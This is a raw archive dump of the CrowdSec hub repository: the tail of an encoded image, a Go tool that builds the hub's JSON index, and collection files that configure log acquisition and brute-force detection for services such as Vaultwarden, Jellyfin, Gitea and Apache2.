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CkWE7bGTAEOI36WYFGSh74NvIjhRc8PvLhw7lFv98EyZIBvAN/a5/k+Anzedd33Mzjv44C7E/XaZSlwpeu6td2c9lTgN/t8NtYC/+W67hMZfE0lwP3Ej/fb5d/ARa7rrtdaSxSwRAZW0DoSmEb8AO5piZ/2wznEEoGqGVhOfHfeL1zXXZXuvKqqqgLvvvvuFM/zJhhj3i0uLn7zueeei/WnesyZ/9IY4BCPQJE1pjVIrMU6ppUoLQ1OyapM7nbbzVpz1LwFY4OB2AGeE/ADeJ7nBHwfxwtGYp6f42x+5ZyKbf1oGSpOLDclwDLXddf10nwDiYA1nvhYb2+m2quaYng8FJgErAfe6Kljr1KY7+HAlMQXkEWJY7VERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERETk/7cHBwQAAAAAQv6/bkgAAAAAAAAAAAAAYCF0bEkh90PvtAAAAABJRU5ErkJggg==" } ]hub1/ci.go000066400000000000000000000104261437532772500126610ustar00rootroot00000000000000package main import ( "crypto/sha256" "encoding/json" "flag" "fmt" "github.com/crowdsecurity/crowdsec/pkg/cwhub" "io" "io/ioutil" "log" "os" ) type typeInfo struct { Path string `json:"path"` Stage string `json:"stage,omitempty"` Version string `json:"version"` Versions map[string]versionInfo `json:"versions"` LongDescription string `json:"long_description,omitempty"` FileContent string `json:"content"` Description string `json:"description,omitempty"` Author string `json:"author,omitempty"` References []string `json:"references,omitempty"` Labels map[string]string `json:"labels"` Parsers []string `json:"parsers,omitempty"` PostOverflows []string `json:"postoverflows,omitempty"` Scenarios []string `json:"scenarios,omitempty"` Collections []string `json:"collections,omitempty"` } type fileInfo struct { Description string `yaml:"description"` Author string `yaml:"author"` References []string `yaml:"references"` Labels map[string]string `json:"labels"` Parsers []string `yaml:"parsers,omitempty"` PostOverflows []string `yaml:"postoverflows,omitempty"` Scenarios []string `yaml:"scenarios,omitempty"` Collections []string `yaml:"collections,omitempty"` } type versionInfo struct { Digest string `json:"digest"` Deprecated bool `json:"deprecated"` } const ( parsersFolder = "parsers/" scenariosFolder = "scenarios/" postoverflowsFolder = "postoverflows/" collectionsFolder = "collections/" ) var types = []string{ "parsers", "scenarios", "postoverflows", "collections", } func getSHA256(filepath string) (string, error) { /* Digest of file */ f, err := os.Open(filepath) if err != nil { return "", fmt.Errorf("unable to open '%s' : %s", filepath, err.Error()) } defer f.Close() h := sha256.New() if _, err := io.Copy(h, f); err != nil { return "", fmt.Errorf("unable to calculate sha256 of '%s': %s", filepath, err.Error()) } return fmt.Sprintf("%x", h.Sum(nil)), nil } func main() { var generate bool var inputFile string var outFile string var target string idx := make(map[string]map[string]typeInfo) tmpIdx := make(map[string]map[string]typeInfo) flag.StringVar(&target, "target", "all", "decide what to generate : blockers|configs|all") flag.StringVar(&outFile, "output", ".index.json", "File to output index") flag.BoolVar(&generate, "generate", false, "File to output index") flag.StringVar(&inputFile, "input", ".index.json", "File to read index from") flag.Parse() if target == "all" || target == "configs" { if generate == true { for _, t := range types { configType, err := generateIndex(t) if err != nil { panic(err) } idx[t] = configType } } else { // update .index file f, _ := ioutil.ReadFile(inputFile) _ = json.Unmarshal([]byte(f), &tmpIdx) for _, t := range types { updateIndex(t, idx, tmpIdx) } } json, err := json.MarshalIndent(idx, "", " ") if err != nil { panic(err) } if err := ioutil.WriteFile(outFile, json, 0644); err != nil { log.Fatalf("failed writting new json index : %s", err) } /*Check if the generated index is correct*/ indexContent, err := ioutil.ReadFile(outFile) if err != nil { log.Fatalf("Unable to read index : %v", err) } _, err = cwhub.LoadPkgIndex(indexContent) if err != nil { log.Fatalf("Unable to load existing index : %v.", err) } } if target == "all" || target == "blockers" { blockers, err := LoadJSON("blockers/list.json") if err != nil { log.Fatalf("failed to load json : %s", err) } log.Printf("Loaded %d blockers", len(blockers)) for x, blocker := range blockers { log.Printf("%d/%d", x+1, len(blockers)) updated, err := UpdateItem(blocker) if err != nil { log.Fatalf("failed to update %+v : %s", blocker, err) } blockers[x] = updated } log.Printf("Dumping updated items") if err := DumpJSON("blockers.json", blockers); err != nil { log.Fatalf("failed to dump new json file : %s", err) } } return } hub1/collections/000077500000000000000000000000001437532772500142525ustar00rootroot00000000000000hub1/collections/Dominic-Wagner/000077500000000000000000000000001437532772500170555ustar00rootroot00000000000000hub1/collections/Dominic-Wagner/vaultwarden.md000066400000000000000000000010101437532772500217230ustar00rootroot00000000000000A collection to defend [Vaultwarden](https://github.com/dani-garcia/vaultwarden) instance against common attacks : - Vaultwarden parser - Vaultwarden bruteforce & enumeration detection ## Acquisition template Example acquisition for this collection : If using LOG_FILE environment variable: ```yaml --- filenames: - /var/log/vaultwarden.log labels: type: Vaultwarden ``` If running via systemd: ```yaml --- source: journalctl journalctl_filter: - "SYSLOG_IDENTIFER=Vaultwarden" labels: type: Vaultwarden ``` hub1/collections/Dominic-Wagner/vaultwarden.yml000066400000000000000000000003471437532772500221400ustar00rootroot00000000000000parsers: - Dominic-Wagner/vaultwarden-logs scenarios: - Dominic-Wagner/vaultwarden-bf description: "Vaultwarden support : parser and brute-force detection" author: Dominic-Wagner tags: - linux - brute-force - vaultwarden hub1/collections/LePresidente/000077500000000000000000000000001437532772500166355ustar00rootroot00000000000000hub1/collections/LePresidente/adguardhome.md000066400000000000000000000010071437532772500214350ustar00rootroot00000000000000A collection to defend [AdGuardHome](https://github.com/AdguardTeam/AdGuardHome) instance against common attacks : - AdGuardHome parser - AdGuardHome bruteforce detection ## Acquisition template Example acquisition for this collection : If using LOG_FILE environment variable: ```yaml --- filenames: - /var/log/AdGuardHome.log labels: type: adguardhome ``` Directly monitoring Docker ```yaml --- source: docker container_name: - AdGuardHome #container_id: # - 843ee92d231b labels: type: adguardhome ``` hub1/collections/LePresidente/adguardhome.yml000066400000000000000000000003401437532772500216350ustar00rootroot00000000000000parsers: - LePresidente/adguardhome-logs scenarios: - LePresidente/adguardhome-bf description: "AdGuardHome Support : parser and brute-force detection" author: LePresidente tags: - linux - brute-force - AdGuardHomehub1/collections/LePresidente/authelia.md000066400000000000000000000005131437532772500207520ustar00rootroot00000000000000A collection to defend [Authelia](https://www.authelia.com) instance against common attacks : - Authelia parser - Authelia bruteforce detection ## Acquisition template Example acquisition for this collection : If using LOG_FILE environment variable: ```yaml --- filenames: - /var/log/Authelia.log labels: type: authelia ```hub1/collections/LePresidente/authelia.yml000066400000000000000000000003241437532772500211530ustar00rootroot00000000000000parsers: - LePresidente/authelia-logs scenarios: - LePresidente/authelia-bf description: "Authelia Support : parser and brute-force detection" author: LePresidente tags: - linux - brute-force - autheliahub1/collections/LePresidente/emby.md000066400000000000000000000004671437532772500201220ustar00rootroot00000000000000A collection to defend [Emby](https://emby.media) instance against common attacks : - Emby parser - Emby bruteforce detection ## Acquisition template Example acquisition for this collection : If using LOG_FILE environment variable: ```yaml --- filenames: - /var/log/embyserver.txt labels: type: emby ```hub1/collections/LePresidente/emby.yml000066400000000000000000000003041437532772500203110ustar00rootroot00000000000000parsers: - LePresidente/emby-logs scenarios: - LePresidente/emby-bf description: "Emby support : parser and brute-force detection" author: LePresidente tags: - linux - brute-force - embyhub1/collections/LePresidente/gitea.md000066400000000000000000000004131437532772500202460ustar00rootroot00000000000000A collection to defend [Gitea](https://gitea.io) instance against common attacks: - Gitea parser - Gitea bruteforce detection ## Acquisition template Example acquisition for this collection : ```yaml --- filenames: - /var/log/gitea.log labels: type: gitea ```hub1/collections/LePresidente/gitea.yml000066400000000000000000000003101437532772500204430ustar00rootroot00000000000000parsers: - LePresidente/gitea-logs scenarios: - LePresidente/gitea-bf description: "Gitea Support : parser and brute-force detection" author: LePresidente tags: - linux - brute-force - giteahub1/collections/LePresidente/jellyfin.md000066400000000000000000000007261437532772500210000ustar00rootroot00000000000000A collection to defend [Jellyfin](https://jellyfin.org) instance against common attacks : - Jellyfin parser - Jellyfin bruteforce detection ## Acquisition template Example acquisition for this collection : If using LOG_FILE environment variable: ```yaml --- filenames: - /var/log/jellyfin/log_*.log labels: type: jellyfin ``` For Docker directly ```yaml --- source: docker container_name: - jellyfin #container_id: # - 843ee92d231b labels: type: jellyfin ```hub1/collections/LePresidente/jellyfin.yml000066400000000000000000000003241437532772500211730ustar00rootroot00000000000000parsers: - LePresidente/jellyfin-logs scenarios: - LePresidente/jellyfin-bf description: "Jellyfin support : parser and brute-force detection" author: LePresidente tags: - linux - brute-force - jellyfinhub1/collections/LePresidente/jellyseerr.md000066400000000000000000000005441437532772500213420ustar00rootroot00000000000000A collection to defend [JellySeerr](https://github.com/Fallenbagel/jellyseerr) instance against common attacks: - JellySeerr parser - JellySeerr bruteforce detection ## Acquisition template Example acquisition for this collection : ```yaml --- source: docker container_name: - jellyseerr #container_id: # - 843ee92d231b labels: type: jellyseerr ```hub1/collections/LePresidente/jellyseerr.yml000066400000000000000000000003341437532772500215400ustar00rootroot00000000000000parsers: - LePresidente/jellyseerr-logs scenarios: - LePresidente/jellyseerr-bf description: "jellyseerr Support : parser and brute-force detection" author: LePresidente tags: - linux - brute-force - jellyseerrhub1/collections/LePresidente/ombi.md000066400000000000000000000001651437532772500201070ustar00rootroot00000000000000Example acquisition for this collection : ```yaml --- filenames: - /var/log/ombi/log-*.txt labels: type: ombi ```hub1/collections/LePresidente/ombi.yml000066400000000000000000000003041437532772500203030ustar00rootroot00000000000000parsers: - LePresidente/ombi-logs scenarios: - LePresidente/ombi-bf description: "Ombi Support : parser and brute-force detection" author: LePresidente tags: - linux - brute-force - ombihub1/collections/a1ad/000077500000000000000000000000001437532772500150605ustar00rootroot00000000000000hub1/collections/a1ad/meshcentral.md000066400000000000000000000012001437532772500177000ustar00rootroot00000000000000 A collection to defend [Meshcentral](https://www.meshcommander.com/meshcentral2) instance against common attacks : - Meshcentral parser - Meshcentral bruteforce detection ## Acquisition template Example acquisition for this collection : You need to add the following in the Meshcentral config file before Meshcentral starts logging: "authLog": "/opt/meshcentral/meshcentral-data/auth.log" ```yaml --- filenames: - /opt/meshcentral/meshcentral-data/auth.log labels: type: meshcentral ``` For Docker directly ```yaml --- source: docker container_name: - meshcentral #container_id: # - 843ee92d231b labels: type: meshcentral ``` hub1/collections/a1ad/meshcentral.yml000066400000000000000000000003111437532772500201030ustar00rootroot00000000000000parsers: - a1ad/meshcentral-logs scenarios: - a1ad/meshcentral-bf description: "Meshcentral support : parser and brute-force detection" author: a1ad tags: - linux - brute-force - meshcentral hub1/collections/baudneo/000077500000000000000000000000001437532772500156675ustar00rootroot00000000000000hub1/collections/baudneo/gotify.md000066400000000000000000000000741437532772500175130ustar00rootroot00000000000000A collection to detect bruteforce attempts on Gotify server.hub1/collections/baudneo/gotify.yaml000066400000000000000000000003021437532772500200470ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - baudneo/gotify-logs scenarios: - baudneo/gotify-bf description: "Gotify bruteforce login protection" author: baudneo tags: - Gotify - bruteforce hub1/collections/baudneo/zoneminder.md000066400000000000000000000001151437532772500203600ustar00rootroot00000000000000A collection to detect bruteforce logins and user enumeration on ZoneMinder. hub1/collections/baudneo/zoneminder.yaml000066400000000000000000000004661437532772500207330ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - baudneo/zoneminder-logs - crowdsecurity/dateparse-enrich scenarios: - baudneo/zoneminder-bf collections: - baudneo/zoneminder_http-cve description: "ZoneMinder bruteforce login, user enum and cve protection" author: baudneo tags: - ZoneMinder - bruteforce hub1/collections/baudneo/zoneminder_http-cve.md000066400000000000000000000000661437532772500221770ustar00rootroot00000000000000A collection to detect HTTP based CVEs on ZoneMinder. hub1/collections/baudneo/zoneminder_http-cve.yaml000066400000000000000000000004511437532772500225370ustar00rootroot00000000000000parsers: - crowdsecurity/apache2-logs - crowdsecurity/dateparse-enrich scenarios: - baudneo/zoneminder_cve-2022-39285 - baudneo/zoneminder_cve-2022-39290 - baudneo/zoneminder_cve-2022-39291 description: "ZoneMinder CVE protection" author: baudneo tags: - ZoneMinder - CVE-2022-39290 hub1/collections/crowdsecurity/000077500000000000000000000000001437532772500171605ustar00rootroot00000000000000hub1/collections/crowdsecurity/apache2.md000066400000000000000000000007711437532772500210120ustar00rootroot00000000000000## Apache2 collection A collection for apache2 : - apache2 parser - base http scenarios for crawl, scan etc. ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/apache2/*.log - /var/log/*httpd*.log - /var/log/httpd/*log labels: type: apache2 ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/apache2.yaml000066400000000000000000000004111437532772500213430ustar00rootroot00000000000000parsers: #generic post-parsing of http stuff - crowdsecurity/apache2-logs collections: - crowdsecurity/base-http-scenarios description: "apache2 support : parser and generic http scenarios " author: crowdsecurity tags: - linux - apache2 - crawl - scan hub1/collections/crowdsecurity/apiscp.md000066400000000000000000000022021437532772500207550ustar00rootroot00000000000000## ApisCP collection A collection for ApisCP : - Apache log parser for apisCP and httpd access_log - Scenario to detect bruteforce on ApisCP admin page - Collections for supported services: - crowdsecurity/apache2 - crowdsecurity/dovecot - crowdsecurity/haproxy - crowdsecurity/mysql - crowdsecurity/postfix - crowdsecurity/pgsql - crowdsecurity/vsftpd ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /usr/local/apnscp/storage/logs/access_log - /usr/local/apnscp/storage/logs/error_log labels: type: apache2 --- filenames: - /var/log/pgsql/*.log labels: type: postgres --- filenames: - /var/log/maillog labels: type: syslog --- filenames: - /var/log/mysqld.log labels: type: mysql 